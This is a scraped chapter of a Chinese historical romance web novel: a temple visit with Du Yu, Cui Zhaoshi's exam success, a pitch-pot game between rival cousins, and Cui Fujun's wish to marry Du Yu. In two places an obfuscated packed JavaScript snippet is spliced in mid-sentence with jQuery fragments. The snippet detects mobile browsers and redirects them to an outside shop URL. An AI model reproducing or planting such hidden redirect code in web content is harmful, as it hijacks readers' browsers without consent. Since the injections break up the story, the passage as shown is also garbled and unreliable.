“阿兄真好。”崔弗君开心道,崔昭湜的话哄得她心情不错,以至于她情不自禁挽住了崔昭湜的手臂。 崔昭湜笑而不语。 “进去吧。” 崔弗君:“好。” 说罢,崔弗君再度环顾周围,始终找不着杜瑜的人影,见鬼了,为何一会儿就不见了? 要科考的人都只会来拜文殊菩萨。 正当崔弗君疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169088|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑之际,背后响起一道男子意外又不确信的声音:“敢问可是崔五娘子?” 此言落,崔弗君和崔昭湜同时停下步伐,崔弗君回眸,隔白色的帷帽见到杜瑜。 杜瑜目光不偏不倚落在崔弗君挽住崔昭湜的手臂上。 崔弗君佯装诧异道:“.......杜郎君?” 杜瑜确定了,见礼道:“崔五娘子。” 崔弗君忙不迭转身行礼:“杜郎君好,没想到在这里见到你了,好巧。” 杜瑜疑惑道:“这位郎君是........” 崔弗君介绍道:“这位是我表兄,崔家三郎。” “表哥,这位是京兆杜氏的杜二郎君。” 崔家三郎,杜瑜有所耳闻,那不就是崔相的嫡子吗?听说他久居河北道博陵,原来已经回长安了。 崔昭湜:“博陵崔氏崔昭湜,杜郎君幸会。” 杜瑜:“京兆杜氏杜瑜,见过崔三郎,久仰。” 崔昭湜温声道:“杜郎君客气。” 崔弗君询问道:“杜郎君是来白马寺祈福的?” 杜瑜点头道:“崔郎君和崔五娘子也是来祈福的?” “是,表兄要参加此次科考,白马寺祈福灵验,所以带表兄来这里祈福。” 这时,杜母和杜瑜的弟弟过来,见崔昭湜和崔弗君疑惑道:“瑜儿,这两位是你的友人?” 杜瑜介绍,双方互通礼节后相约一道入宝殿。 佛像高大肃穆,崔弗君稽首敬叩,闭上眼睛,双手合十,面色虔诚,口中默默念道:“信女崔弗君,恳请佛祖保佑姑父姑母身体康健,保佑我所思所想顺遂......” 说着,崔弗君犹豫了,这拜主智慧的菩萨有用吗?算了,都是菩萨,应当有用的,有机会再去一趟慈恩寺吧。 最后,崔弗君才求菩萨保佑崔昭湜登科及第,仕途顺利,平步青云。 一旁的崔昭湜静静注视为他祈祷的崔弗君,唇角勾起,视线从来没有移向正前方的高大佛像之上。 祈祷完毕,崔弗君起身,看向旁边的杜家人,杜瑜一家俱稽首祈祷,反观她沈柏南的崔昭湜,置身事外,毫无动作。 崔弗君不免有些气恼,催促道:“阿兄,作为当事人,你也要祈祷的。” 崔昭湜无奈:“好。” 两家祈祷之后,又求了签,俱是上上签,杜夫人大喜,捐了一大笔香火钱。 而崔弗君自然也想在崔昭湜面前表示一番,欲意拿钱,这才发觉这回出门没带半夏,崔弗君出门从不带钱,钱财之物俱是由侍婢携带。 崔弗君面色不太自然,小声道:“阿兄,你可有带钱?” 崔昭湜将荷包递给崔弗君,崔弗君也没数,直接把装有银铤的荷包全送了。 末了崔弗君让崔昭湜写好祈福牌,再由她挂到槐树之上,她想挂高点,奈何身量受限,眼眸一转,便起了爬树的念头,这时,有人凑近贴上来,衣裳和崔弗君的后背若即若离。 “妹妹要挂哪里?”崔昭湜的声音自头顶响起,如沐春风,叫人生不出一丝厌恶。 一瞬的不自在后,崔弗君道:“那根枝干,挂高点。” 崔昭湜从崔弗君手中接过祈福牌,轻而易举挂到崔弗君指定的树干上。 望着高高悬挂的祈福牌,崔弗君说:“要是我能和阿兄这么高就好了。” 崔昭湜一笑,摸摸崔弗君的脑袋,轻哄道:“妹妹莫要泄气,多吃些就会长高了。” 明知崔昭湜是在哄她,可崔弗君还是被哄高兴了,娇嗔道:“阿兄不许摸我头。” 崔昭湜只是笑。 “崔三郎君,崔五娘子。”杜瑜走过来,“不知二位接下来有何打算?” 崔弗君:“大概走了。” “眼下时辰尚早,且到午时,不如留下用膳,白马寺的斋菜颇有口碑。” 崔弗君:“好啊,表兄,你以为呢?” “可。” 和杜家人用过斋饭,崔弗君发现杜夫人为人谦和,而杜瑜的弟弟是个很容易害羞的人。 当她取下帷帽,她便捉到杜瑜的弟弟在偷看她,她发现了,杜瑜的弟弟便羞得脸蛋通红。 斋饭过去,杜夫人去休息,而杜瑜和崔昭湜再交谈几句之后相互熟悉,杜瑜便邀请崔昭湜下棋对弈,崔弗君和杜瑜的阿弟杜瑾在旁边看着。 崔弗君对下棋兴致缺缺,很是无聊,再次捉到杜瑾在偷看她,起了戏弄的坏心思,挑眉道:“杜郎君。” 杜瑜抬眸,和崔弗君四目相对。 崔弗君眸光清透,泪痣动人夺目,红唇轻启:“你阿弟怎么了?脸色通红,莫非是感染了风寒?” 杜瑜低下眼睫,顺势望向阿弟。 杜瑾顿时手足无措,舌头都捋不直:“我、我......” “你说什么?” “我......” “阿弟,你身子不适?”杜瑜道。 “不......”半晌杜瑾舒缓了一口气,结结巴巴道,“没事,兄、兄长......” 说着,杜瑾又面色绯红,跟桃子似的,窘迫地落荒而逃。 崔弗君被逗笑了,真就是个弟弟。 崔昭湜无奈道:“舍妹顽劣,杜郎君海涵。” 杜瑜:“无妨,阿弟比较认生,许是不自在,二位见谅。” 崔弗君不乐意:“表兄,你休要给我扣帽子。” 崔昭湜道:“要是觉得无聊就出去玩。” “不理,我还是陪在表兄身边吧,看你们下棋也挺有意思的,杜郎君你们继续。” 杜瑜颔首。 杜瑜和崔昭湜的一盘棋一下就是半个时辰起,崔弗君没了人打趣,非常安静,渐渐乏了,伏在长案一角迷糊睡过去。 等她醒来,杜瑜已经不在了。 抬头对上崔昭湜的视线。 “阿兄,你们下完棋了?”崔弗君揉揉眼。 崔昭湜给崔弗君倒了一杯热茶,点头。 崔弗君:“我睡了多久?” “两个时辰?” “这么久?”崔弗君很意外,鼻腔间嗅到崔昭湜身上的熏香,清冽温雅。 崔弗君其实这些天睡得不踏实,可她发现自己在崔昭湜身边睡得很好,也是奇怪。 莫非她对他尝试依赖了? 崔弗君蹙眉。 “该回去了。” “嗯,阿兄,你们谁赢了?” 崔昭湜:“胜负未分,约定三局两胜,我赢一局,第二局时杜郎君有事离开,约好下回再接。” “那就是阿兄赢了。” “不算。”崔昭湜谦虚道。 崔弗君不走心地夸奖道:“阿兄好厉害。” “妹妹谬赞。” “阿兄,你觉得这杜郎君人如何?” “胸有丘壑,谦谦君子,持重守礼。” 13. 第 13 章 白驹过隙。 转眼便至科考日,崔富一大早便开始准备相关事宜,卯时卢氏协同女眷将崔昭湜送至仪门。 卢氏将文昌符和香囊交于崔昭湜,语气无声亲昵和恳切,只缓缓道:“以平常心待之,尽己所能,不负崔氏门楣。” 按照礼仪,卢氏当亲自将香囊系在崔昭湜腰间。 崔昭湜恭敬接过,并未在意,温声道:“儿记住了,母亲安心。” 崔静姝送上状元糕:“兄长,祝你科考顺遂。” “多谢六妹。” 轮到崔弗君,她亦送上糕点,道:“表兄定会考得极好,高中状元,我在家静候表兄佳音。” 崔昭湜浅笑,手下糕点,抬手轻抚崔弗君的头:“谢妹妹美意。” 收下亲眷相赠之物,崔相便亲自送崔昭湜出府。 待礼部主持的省事落定,已是三天之后。 “阿兄,你考完了感觉如何?”崔弗君问。 崔昭湜:“尚好。” “那肯定十之八九稳了,姑父作为宰相会主持覆试核榜,他可有透露什么?” “父亲什么都没说。” 又过了两天,礼部侍郎着人过来请崔昭湜前往中书省拜见宰相,行过堂礼,此行人员俱是礼部拟定的新科进士,也就是说去过这趟的人全是高中的进士。 回来时崔相和崔昭湜同行。 崔昭湜考中进士,自是大喜事,卢氏问要不要设家宴庆祝,崔相说等放榜之后再办不迟。 晚膳的菜肴很丰盛,崔弗君也去了。 案上的菜肴有清淡有辣有甜,卢氏给崔弗君和崔静姝都夹了菜,俱是她们爱吃的,崔静姝回礼,夹了卢氏爱吃的菜给她,半月多过去,崔静姝渐渐融入崔府,和卢氏的感情也愈发好,都知晓卢氏的喜好了。 对此,崔弗君道了一声谢,逐渐习惯身份的变化。 不论如何,卢氏心里有她,如此便好,一瞬之间,崔弗君有种如释重负的放松。 另厢卢氏道:“菜可合胃口?” 崔昭湜点头。 卢氏落心,诚然她对嫡子有所芥蒂,可嫡子考中进士的确没负崔家和卢家的门楣,卢氏心情不错。 晚饭过后,从崔相口中,崔弗君得知此次卢家老四也有人考上了。 尔后崔相和崔昭湜去书房谈话,卢氏则带着崔静姝和崔弗君出去散步消食,她有心让两个孩子相处了解,增进感情。 崔弗君不想和崔静姝有交集,可卢氏诚心邀请,崔弗君也不好拂了卢氏的颜面和心意。 不就是在卢氏面前假扮姊妹吗? 崔静姝能装,她也能,不欲让卢氏操心。 只同行下来俱是卢氏在和崔静姝讲话,问近来的学习,而崔弗君偶尔应答两句,卢氏蹙眉道:“绛奴,你可是无聊?” “没有姑母,就是走累了。” “也差不多逛完了,我们回去吧。” “好,阿娘。” 进了卢氏的院子,也怕崔弗君无聊,卢氏便提出玩投壶,过去崔弗君被罚禁足,卢氏心疼女儿,没少和她玩,就连双陆也没少打。 “阿娘,投壶是作甚?”崔静姝并不知晓这些士族之间的风雅游戏,抿了抿唇,小声问卢氏。 “绛奴知道,绛奴你和静姝说说吧。” 崔弗君便介绍了投壶这个游戏以及玩法。 “多谢姐姐告知。”崔静姝道。 崔弗君:“表妹无须客气。” 卢氏欣慰一笑,叫来嬷嬷置办好工具,又取来彩头,接着道:“胜者可得此镯。” “静姝,投壶是这样玩的,我先给你示范一遍,绛奴再给你演示一遍。” “好。” 卢氏正坐在茵褥上,在距离壶具一丈开外后执箭矢,成功将箭投入壶中,再是崔弗君,随意一掷,箭便准确无误落入壶具中,卢氏点点头。 轮到崔静姝,她觉得这投壶太简单了,本想大显身手,投箭的姿势学的有模有样,但放出去的那一箭并未投中,落在壶具之后了,可谓破漏百出,不忍直视。 卢氏安抚道:“静姝你第一次玩,莫要灰心,绛奴,你教教静姝。” 崔静姝羞恼。 崔弗君看向崔静姝,语气冷淡道:“投壶时身体不得摇晃,眼睛也不要盯着箭看,要盯着壶具,发力时要用手腕,不是甩手臂。” 而在崔静姝看来崔弗君这就是在挑衅,她哪里是在教她?明明是看不起她,嘲讽她蠢笨。 若是投壶这种小事她都比不过崔弗君,那她以后还怎么压崔弗君一头? 崔静姝不甘又不快,面上道:“谢姐姐教导,我再试试。” 试试的结果就是崔静姝没中一箭。 接下来崔静姝投壶不是这有问题,就是那有毛病,崔弗君本就不乐意,愈发不耐烦了,可旁边卢氏还看着,目光慈爱又熨帖,崔弗君只好忍着没拉下脸,继续教。 崔弗君把能说的技巧全倾囊相授,又是一箭落空。 崔弗君睨了崔静姝一眼,没有嘲笑,只是居高临下道:“可惜,投壶瞧着简单,可实际玩起来有所难度。” 崔静姝没这个天赋。 崔静姝询问道:“姐姐第一次玩的时候是投中了几箭?” 崔弗君:“我吗?” 卢氏回想往事,骄傲道:“绛奴第一次玩投壶我记得是在小时候,你阿姊聪慧,第一箭就投中了,后来更是轻松带剑贯耳,把投壶都玩出花来。” “不过静姝你也莫要泄气,慢慢来,总会能投中的。” 崔静姝垂下眼眸,嫉妒又恼火,她竟还比不过崔弗君小时候? 崔静姝一口气差点没上来,半晌嘴里挤出违心的话:“姐姐好厉害。” 声音很小。 崔弗君听到了,不客气地受用道:“就像姑母说的,表妹莫要泄气,持之以恒。” 也许是崔弗君的话刺激到崔静姝,下一箭竟中了,崔静姝喜出望外,一下没忍住欢呼起来,激动道:“阿娘,我中了!” 卢氏皱了一下眉头,温声道:“不错。” “不过静姝注意情绪。”卢氏委婉道。 崔静姝懵了一下,崔弗君道:“中了是好事,但也莫要欢呼,有失气度。” 还有这种规则,难怪崔弗君中壶后神色平静。 卢氏道:“静姝,我今日要教你一件事,往后无论遇到任何事,你都要克服住情绪,从容不迫,宠辱不惊才是我们士族风范。” “是,阿娘,儿记住了。”崔静姝面色窘迫,觉得丢人至极。 “既然静姝学会了,那我们不如开始正式的投壶可好?” 崔静姝整理好情绪,点头,她既然能中第一箭,那就能中第二箭,比不过崔弗君小时候,难道还比不过现在的崔弗君吗? 崔静姝如是想。 崔弗君觉察到崔静姝对她的隐秘敌意,其实她有些疑惑,崔静姝为何会对她有恨意?为何会陷害她? 因为她曾冒充她的身份? 可那也并非她崔弗君的错。 崔静姝要怪只能怪老天,她这是迁怒。 是以崔弗君没有手下留情,投壶得了大筹,拿下卢氏的彩头,给了崔静姝一个下马威,警告她不要再招惹她,想赢她崔弗君,崔静姝怕是要再淬炼个百八十年。 而崔静姝输得太惨,攥得手心满是印子,面上却还要说:“姐姐好厉害,我甘拜下风。” 听着她虚伪的奉承之言,不知为何崔弗君突然看着崔静姝有些惨兮兮的,而且崔静姝的眼神时不时落在彩头上,看起来很想要这玉镯。 玉镯? 崔弗君低头打量,卢氏的珠宝首饰偏素雅,而崔弗君喜欢的是那种明艳的宝石,两者审美不同,镯子入不了崔弗君法眼。 卢氏当然知道崔弗君的审美,可她拿出来,便是另有用意,崔弗君猜到了。 但崔静姝想要......她偏不给。 她崔弗君的东西就算摔碎了也不给旁人沾一下。 可自己仗着多年经验欺负崔静姝一个小白,胜之不武,传出去都有损她崔弗君的名声。 嗟来之食,没必要。 镯子也算不得是她之物。 她想要就给她呗。 崔弗君用长辈的口吻道:“阿娘,我虽说赢了,但我毕竟有多年经验,而表妹初学,又刻苦努力,精神可嘉,愿将此镯送给表妹。” 卢氏意外至极。 放下镯子,崔弗君告退:“阿娘,我累了,想回去歇息了。” “好,回去吧。”卢氏说。 崔弗君走后,崔静姝有骨气地道:“阿娘,我不要。” 叫崔弗君一声“姐姐”,她还真当自己是她姐姐了? 卢氏:“绛奴给你的,拿着。” . 崔弗君没回院子,而是去栖鹤堂。 崔昭湜尚未回来,崔弗君便打算进书房等人,被门房阻拦:“娘子,郎君尚未回来,您进来怕是有些不合适。” 崔弗君挑眉:“哪里不合适?” 门房语塞,被崔弗君盯得起了退意。 这时崔昭湜的随从护卫过来:“请娘子进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169089|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎君吩咐过无论何时娘子都可以进来。” 门房忙应“喏”,又给崔弗君赔罪。 崔弗君没怎么生气,只是道:“没有下回了。” 门房受宠若惊。 没过多久,崔昭湜回来。 “怎么了?” “一天没和阿兄说话,闷得慌。”崔弗君说。 崔昭湜轻笑:“那晚膳胃口那么好?” “阿兄不是说吃得多才能长高吗?”语气熟稔自然,俨然是一对兄妹在互相揶揄,气氛轻松。 崔昭湜失笑。 “阿兄,你和父亲都说了些什么啊?” “父亲和我分析了近来朝堂上的局势,以及六妹的婚事,惠妃身体有恙,圣人希望魏王和六妹的婚事尽快完事。” “妹妹会不会不高兴?” “没有的事。”崔弗君无所谓,拉着崔昭湜的袖子道,“阿兄,我近来都快无聊死了,你快与我说说今儿去中书省的都有谁?人数可往年有差异吗?” “妹妹怎么好奇这种事?” “就是单纯好奇。”崔弗君义正言辞,“且这些人大抵日后会成为阿兄同僚,我了解了解也是好事。” “妹妹有心了。” “今岁进士二十人,尚不知名次......”崔昭湜介绍新科进士,有士族,亦有寒门,寒门人数比往年多了两位。 从崔昭湜的话里,崔弗君明确听到了京兆杜瑜的名字。 果然有他。 一日之后,礼部与南院东墙放榜,崔昭湜在第三名,而杜瑜在第四名。 崔家举办家宴庆祝。 次日,圣人在曲江芙蓉苑设宴款待新科进士,虽未亲临,却派贴身内侍赏赐酒食等物,朝中宰相重臣、王公贵族等俱来赴宴,热闹至极。 曲江宴后,又是杏园宴、雁塔题名宴,以及各种官宴和私宴等,崔昭湜在祖地待太久,以至和长安城内的士族交集浅淡,回长安后又一心备考,鲜少出门,如今登科,也是该出去交际,步入熟悉士族圈子了。 所以登科之后,崔昭湜非常忙碌,忙得崔弗君一天下来都见不到人。 不过好在此时崔弗君的注意力也不在崔昭湜身上了。 崔弗君派半夏出去打听曲江宴上的情况,留意杜家动静,后至杏园宴,杜瑜果然被封为探花使,骑马遍游曲江周边,采摘名花,返回宴中赠予同科进士,并以赋诗一首,诗极好,传遍长安,被人追捧。 半夏将诗抄录下来,半夏识字,但字写得着实马虎。 崔弗君有些嫌弃:“以后给我好好练字。” 半夏:“奴婢怕练不好。” “我叫你,你务必把字给我练好,不然说出去是我崔弗君的侍婢,都不像样。” 半夏翘眉。 崔弗君读纸上的诗句,惊讶道:“没想到杜瑜这么有才学。” “这诗作得不错。” 半夏补充道:“娘子,三郎君也被封为探花郎了,奴婢打听到当时三郎君和杜郎君骑马游园时好多好多人都在围观,着实为长安盛举。” 崔弗君倒是没什么向往,像这般宴会她从前看得不少了。 她只是有点怀念曲江了。 眼下到踏青了,她想去乐游原登高,想在曲江边跑马,想去游湖。 从前她想便能去,现在崔弗君无法再这样任性下去了。 不过出去玩的念头一旦苏醒,就再也无法扑灭。 但眼下崔弗君还有更重要的事。 老天托梦,杜瑜的事灵验,再者她也看不上其他的,遂定下主意,选了杜瑜。 眼下杜瑜风头正盛,长安城里的士族贵女也不是傻子,个个都是慧眼,定然注意到杜瑜,甚至打起结亲的念头。 她得尽快,一个人恐怕有些难度,可若有崔昭湜鼎力相助,定事半功倍。 十日之后,崔昭湜终于闲下来,崔弗君前去栖鹤堂,柔声关心道:“阿兄这些日子辛苦了,累不累?” 崔昭湜摇头。 交谈了一会儿,崔弗君脸上写着话。 “妹妹有事?” 崔弗君也不隐瞒了,直接道:“哥哥。” 崔昭湜眼睛亮了一下。 崔弗君道:“哥哥,我年岁渐长,先前和魏王的婚事已不作数,又成了待嫁之年,我想我也该重新议亲了。” 闻言,崔昭湜诧异,神色有些不明,沉默了一会儿,说:“妹妹想嫁人了?” “是,哥哥。” 崔弗君一鼓作气道:“我要嫁给杜家的探花郎,你可要给妹妹做主啊。”